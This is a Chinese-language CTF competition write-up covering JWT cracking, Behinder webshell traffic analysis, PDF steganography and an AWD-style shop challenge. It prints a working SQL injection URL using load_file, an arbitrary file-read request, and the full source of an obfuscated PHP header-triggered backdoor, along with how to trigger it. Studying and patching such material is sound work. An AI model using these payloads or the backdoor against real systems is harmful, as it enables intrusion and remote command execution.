background:

线下 断网 收手机 天气很热 图书馆里300号人就4台空调 我们头顶上的风扇还是坏的 打到后面我真的感觉人都要缺氧虚脱了 志愿者们也很辛苦 感谢承办院校与志愿者的辛勤付出 总的来说成绩还是很不错的 可是赛后知道fix有非预期方法 绷不住了 我fix1是用尽最后一次的次数才通的

web-login

没啥说的 很基础的题(差点没出 都50分了才出的 一开始只爆了admin的密码 尝试了password8000 结果是除了admin 任意用户+密码123456就能成功)

参考https://blog.pwns.fun/2023/12/08/jwt%E4%BC%AA%E9%80%A0/?highlight=jwt#%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3

爆破出密钥再签名就行了

webshell

不是我做的 看着不是很难 感觉挺基础的 不过最后结束了还有90多分 我们这队绿盟的高工还拿的三血

上来就给我说是webshell 我就给他内网传了个abc123的应急工具箱 然后他看了一下就拿到了elf文件的base64问我怎么变回去

我说试试Windows的证书 但是不记得命令 后面他直接用命令行还原了

冰蝎流量 key:14c0ea9a5d07d11a

img

马子

image-20251014083716243

搞开之后base64解两次 然后变elf

image-20251014083748212

运行抓网络连接即可

image-20251014083817858

pdf

队友的wp:

丢入随波逐流后发现还藏有了一个文件 使用foremost分离可以得到第三段flag

img

img

_1nTerest1ng}

从第三段flag中可以看出 flag前面是有部分提示的 因此 我们可以搜索关键字 比如part获取第二段flag

img

ganography_1s

第一段flag隐藏在

pdf文件的 “计算”后面 被隐藏了起来 复制整段文字的时候可以在粘贴板看到我们的第一段flag

img

dart{pdf_ste

合并即为完整flag

dart{pdf_steganography_1s_1nTerest1ng}

awd-cat shop

这题赛后跟别人交流了一下 我也没绷住啊 后台直接admin/admin123就能进去拿shell 我真服了

这也不能算awd 也不能算awdp

你说他是awd吧 他不让你上机子修洞 也不让你去打别人

你说他是awdp吧 确实像 fix是提patch上去check的

attack:

查看商品存在注入

img

直接load_file拿一血(这里数据库里有个假flag)

http://e49ddf1c-aa30-4b72-b6d3-930356f456f3.16.dart.ccsssc.com/frontend/view_product.php?id=9998887782 union select 1,load_file(‘/flag’),3,4,5,6,7,8,9–+

这个口子有的队伍说直接sqlmap os-shell秒了 但是我和一些队伍都没成功 我手动into outfile之后发现确实能写进去东西 我传个1.txt上去访问都能下载到 但是上php整个请求都down掉了 我就没管这个了 比赛的时候环境实在是太卡太卡了

image-20251014084247284

这里fix的逻辑感觉也是有问题的 第一个不是应该修注入吗?这边设计的这个点没看明白 这个点没源码根本看不到啊 怎么放到fix1了 我们也是10次机会全部用完 最后一次才修好的 太刺激了

fix-1:

shell之后 明显的一个任意文件读取

image-20251014085418180

http://127.0.0.1/frontend/index.php?debug_file=c:/windows/win.ini

image-20251014085553772

除了本身的判断 也没找到其他调用他的地方 所以这种需要有shell才能发现的东西 不知道为什么是fix1

image-20251014085636449

fix-2:

漏洞点在这里

image-20251014085837093

查id 这好办啊 直接int即可

image-20251014090029114

fix-3:

这里藏了一个管理员账号密码 我们也是load_file到这个文件进后台拿的shell

image-20251014090150451

fix-4:

进后台能直接传shell

image-20251014090416719

这也很好办 在上传文件之前的逻辑截胡 做个后缀判断就行了

image-20251014090516969

fix-5:

有个马儿 删掉就行了 是awd的话 这个点又能吃一些分了 哈哈哈 不过有能力把其他洞修了的 也不会落下这个马

image-20251014090822542

//ai ocr识别的 变量base64的值好像有问题 但是无伤大雅 主要看马子的思路
<?php
$headerKey = base64_decode('WF9DQVRfU0VU');
$headerVal = base64_decode('TUVPV19CQUNLRE9PUg==');
$cmdHeader = base64_decode('WF9DQVRfQ01E');
if (isset($_SERVER['HTTP_' . $headerKey]) && $_SERVER['HTTP_' . $headerKey] === $headerVal) {
$func = chr(115) . chr(121) . chr(115) . chr(116) . chr(101) . chr(109);
$cmd = isset($_SERVER['HTTP_' . $cmdHeader]) ? base64_decode($_SERVER['HTTP_' . $cmdHeader]) : '';
@call_user_func($func, $cmd);
}
?>

第一步肯定是解码

$headerKey  = base64_decode('WF9DQVRfU0VU');      // "X_CAT_SET"
$headerVal = base64_decode('TUVPV19CQUNLRE9PUg=='); // "MEOW_BACKDOOR"
$cmdHeader = base64_decode('WF9DQVRfQ01E'); // "X_CAT_CMD"

看一下$func

echo chr(115) . chr(121) . chr(115) . chr(116) . chr(101) . chr(109);  //system

设置X-CAT-SET的值为MEOW_BACKDOOR(请求头要用-而不是下划线)

X-CAT-CMD为命令base64编码之后的结果即可

image-20251014094300653